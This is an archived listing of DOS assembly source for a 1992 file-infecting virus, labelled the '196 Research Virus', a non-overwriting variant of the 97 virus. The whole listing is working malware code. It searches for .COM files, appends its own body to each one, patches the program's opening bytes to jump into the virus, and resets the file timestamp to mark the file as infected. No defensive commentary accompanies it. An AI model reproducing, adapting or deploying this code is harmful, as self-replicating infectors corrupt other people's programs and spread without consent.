home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 196.ASM < prev    next >
Assembly Source File  |  1992-04-11  |  7KB  |  152 lines

  1. ;***************************************************************************
  2. ;*                                                                         *
  3. ;*  196 - Research Virus Version 1.01               Date. 11th April 1992. *
  4. ;*                                                                         *
  5. ;*  Written By : F.Deakin (ACE COMPUTER SYSTEMS)                           *
  6. ;*                                                                         *
  7. ;*  Non-Overwriting Version of 97 Virus                                    *
  8. ;*                                                                         *
  9. ;***************************************************************************
  10.  
  11. CODE  Segment
  12.       Assume CS:CODE
  13.  
  14. progr equ 100h
  15.  
  16.       org progr
  17.  
  18. virus_size    EQU vir_end-vir_start
  19. variable_diff EQU variables_start-next_byte
  20.  
  21. highlander:
  22.       call vir_start                     ;call virus
  23.       mov ah,4ch                         ;return to operating system
  24.       int 21h                            ;thru' dos interrupt 21h
  25.  
  26. vir_start:
  27.       call next_byte                     ;call next address
  28.  
  29. next_byte:
  30.       pop ax                             ;get virus address
  31.       pop di                             ;get program start address
  32.       push ax                            ;save virus address
  33.  
  34.       pop si                             ;get address of next_byte
  35.       mov ax,variable_diff               ;add difference
  36.       add si,ax                          ;get variables address
  37.  
  38.       mov ax,3                           ;move to old address
  39.       sub di,ax                          ;start of .com file
  40.       add si,ax                          ;point to old code
  41.       mov ax,[si]                        ;get two bytes from old code
  42.       mov [di],ax                        ;and place at start of file
  43.       inc si                             ;increment to third byte
  44.       inc si                             ;
  45.       inc di                             ;increment to third address to save
  46.       inc di                             ;
  47.       mov al,[si]                        ;get last byte of old code
  48.       mov [di],al                        ;and place at start of .COM file
  49.       mov ax,5                           ;five bytes out
  50.       sub si,ax                          ;back to start of variables
  51.   
  52.       mov di,si                          ;which is copied to destination
  53.       mov ax,6                           ;add 6 to variables address
  54.       add di,ax                          ;and save file control block
  55.  
  56. ;search for first
  57.       mov ah,4eh                         ;search for first
  58.       xor cx,cx                          ;attributes to search
  59.       mov dx,di                          ;point to fcb
  60.       int 21h                            ;call dos
  61.       jc return_to_prog                  ;if no file found return to program
  62.  
  63. found_one:
  64.       mov ah,2fh                         ;get DTA address into es:bx
  65.       int 21h                            ;call dos
  66.       mov ax,22                          ;jump over to time
  67.       add bx,ax                          ;and point to it
  68.       mov al,es:[bx]                     ;and place in ax
  69.       and al,00000111b                   ;get seconds only
  70.       cmp al,00h                         ;zero seconds?
  71.       jnz infect_program                 ;if not infect program
  72.       mov ah,4fh                         ;find next file
  73.       int 21h                            ;call dos
  74.       jmp short found_one                ;jump back
  75.  
  76. infect_program:
  77.       mov ax,8                           ;jump to asciiz fcb
  78.       add ax,bx                          ;add to bx
  79.       mov dx,ax                          ;and move to dx
  80.       mov ax,3d02h                       ;open file for writing
  81.       int 21h                            ;call dos
  82.       jnc continue                       ;continue if no error
  83.  
  84.       mov ah,4fh                         ;search for next
  85.       xor cx,cx                          ;attributes to search
  86.       int 21h                            ;call dos
  87.       jc return_to_prog                  ;if no file found return to program
  88.       jmp short found_one                ;jump forward if one found
  89.  
  90. continue:
  91.       mov bx,ax                          ;transfer file handle to bx
  92.  
  93. ;read first three bytes
  94.       mov ah,3fh                         ;read file
  95.       mov cx,3                           ;number of bytes to read
  96.       mov dx,3                           ;three bytes to old_code
  97.       add dx,si                          ;point to buffer to read
  98.       int 21h                            ;call dos
  99.  
  100.       mov ax,4202h                       ;move file pointer to end of file
  101.       xor cx,cx                          ;clear cx
  102.       xor dx,dx                          ;clear dx
  103.       int 21h                            ;call dos
  104.       dec ax                             ;decrement ax
  105.       dec ax                             ;
  106.       dec ax                             ;
  107.       dec si                             ;save address
  108.       mov word [si],ax                   ;and store
  109.  
  110.       mov ah,40h                         ;write to file
  111.       mov cx,virus_size                  ;set counter to write
  112.       mov dx,offset vir_start            ;point to buffer to start
  113.       int 21h                            ;and write to file
  114.  
  115.       mov ax,4200h                       ;move file pointer to start of file
  116.       xor cx,cx                          ;clear cx
  117.       xor dx,dx                          ;clear dx
  118.       int 21h                            ;call dos
  119.  
  120.       mov ah,40h                         ;write to file
  121.       mov cx,3                           ;set counter to write
  122.       inc si                             ;point to jump address
  123.       mov dx,si                          ;point to buffer to start
  124.       int 21h                            ;and write to file
  125.  
  126.       mov ax,5701h                       ;set date & time
  127.       xor cx,cx                          ;time set to zero
  128.       xor dx,dx                          ;and date
  129.       int 21h                            ;and do it
  130.       mov ah,3eh                         ;close file
  131.       int 21h                            ;thru' dos
  132.  
  133. return_to_prog:
  134.       mov ah,4ch                         ;terminate program
  135.       int 21h                            ;exit to dos
  136.  
  137. variables_start:
  138. jump_add:
  139.       db 0e8h,0,0
  140. old_code:
  141.       db 90h,90h,90h
  142. fcb:
  143.       db "*.COM",0
  144. variables_end:
  145.  
  146. vir_end:
  147.  
  148. CODE   ENDS
  149.  
  150.        END highlander
  151.  
  152.